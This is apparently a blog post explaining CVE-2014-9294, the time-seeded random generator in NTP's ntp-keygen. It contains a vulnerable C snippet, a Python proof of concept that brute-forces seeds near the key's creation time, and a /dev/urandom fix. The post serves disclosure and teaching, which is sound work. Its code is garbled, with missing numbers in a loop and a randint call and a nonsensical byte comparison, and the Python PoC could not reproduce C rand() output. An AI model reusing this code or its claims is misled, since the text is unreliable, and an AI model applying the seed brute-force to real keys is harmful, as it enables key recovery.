In the world of computer security, randomness matters—a lot. It's the secret ingredient behind keys that keep attackers at bay. But what if the random numbers your software uses… just aren’t that random? That’s exactly what happened with CVE-2014-9294, a vulnerability in the very tool that keeps your system’s clock in sync and secure: NTP’s ntp-keygen.

This post explains the bug, shows code snippets from the affected code, links to references, and walks through how someone could exploit this flaw.

What Is CVE-2014-9294?

If you use NTP (Network Time Protocol), chances are your system used the ntp-keygen tool to generate cryptographic keys for authentication between servers and clients. These keys help prevent spoofing and man-in-the-middle attacks.

In NTP versions before 4.2.7p230, there was a problem: ntp-keygen used a weak "seed" for its random number generator (RNG). This makes the keys *predictable*, so an attacker could potentially guess your key by brute force.

How Bad Was the Flaw?

Cryptography thrives on unpredictability. If hackers can guess your random seed, they can guess your key. In NTP’s case:

> *An attacker could break your key in hours/days instead of millions of years.*

The Offending Code

Let’s look at the crucial part of the source that got this wrong—a snippet from util/ntp-keygen.c:

/* old vulnerable method (simplified) */
unsigned long seed;
seed = (unsigned long) time(NULL); // Weak: uses current time as seed!
srand(seed);

// This seed is then used for key generation:
for (i=; i<KEY_LENGTH; i++) {
    key[i] = rand() % 256;
}

What’s wrong here? The seed is just the current time. Anyone can guess it knowing when the key was generated. If an attacker wants to brute force your key, they only need to try seeds close to the key's creation time.

An attacker can

1. Estimate Key Generation Time: If they can get a copy of your key file—or even just your certificate—they can guess when it was created (maybe by the file timestamp).

Generate Candidate Keys: Trying every value for seed in a range of likely seconds.

3. Check Which Key Matches: Use the same ntp-keygen code to generate keys and find which one matches your public key.

Here’s a simple proof of concept in Python showing how an attacker might recover the key

import time
import random

def generate_key(seed, key_length=32):
    random.seed(seed)
    return [random.randint(,255) for _ in range(key_length)]

# Attacker believes key was made around this timestamp:
suspected_time = 171865000  # Just an example UNIX time

# Attacker checks ±5 minutes around that time
for offset in range(-300, 301):
    candidate_seed = suspected_time + offset
    candidate_key = generate_key(candidate_seed)
    # Compare candidate_key with the actual key, if access is available
    if b''.join(map(bytes, [candidate_key])) == b'ACTUAL_KEY_BYTES':
        print("Key found, seed was:", candidate_seed)
        break

That code will crack the key if the attacker guesses the timestamp within 5 minutes of actual creation—a feasible effort.

Why Did This Happen?

In the era before rigorous security review for random number use, it was common for developers to seed RNGs simply with system time. But that’s no longer good enough. These days, we should always use system-secure sources like /dev/urandom or system cryptographic libraries.

The maintainers patched the problem in NTP 4.2.7p230. Here’s how a secure pattern looks

// Secure fix: use proper entropy source
int urandom_fd = open("/dev/urandom", O_RDONLY);
unsigned long seed;
read(urandom_fd, &seed, sizeof(seed));
srand(seed);

Now, the seed cannot be guessed by an attacker, because /dev/urandom uses true system entropy facilities.

References

- CVE Details: CVE-2014-9294 – nvd.nist.gov
- NTP Security Notice: ntp.org security notice
- Project Source Repository: NTP GitHub Mirror

What You Should Do

If you’re running NTP 4.2.7p229 or earlier—update now! Keys generated before the fix are not safe. Regenerate your keys with a patched version, and verify your system uses secure entropy sources.

Final Words

Vulnerabilities like CVE-2014-9294 are a reminder that "random" is hard to get right in programming—and mistakes here can break even strong cryptography. If you're a developer, always use system-provided randomness for cryptographic needs. If you're a sysadmin, keep your security tools up-to-date, and don’t forget the humble time server.

Timeline

Published on: 12/20/2014 02:00:00 UTC
Last modified on: 04/12/2025 10:46:40 UTC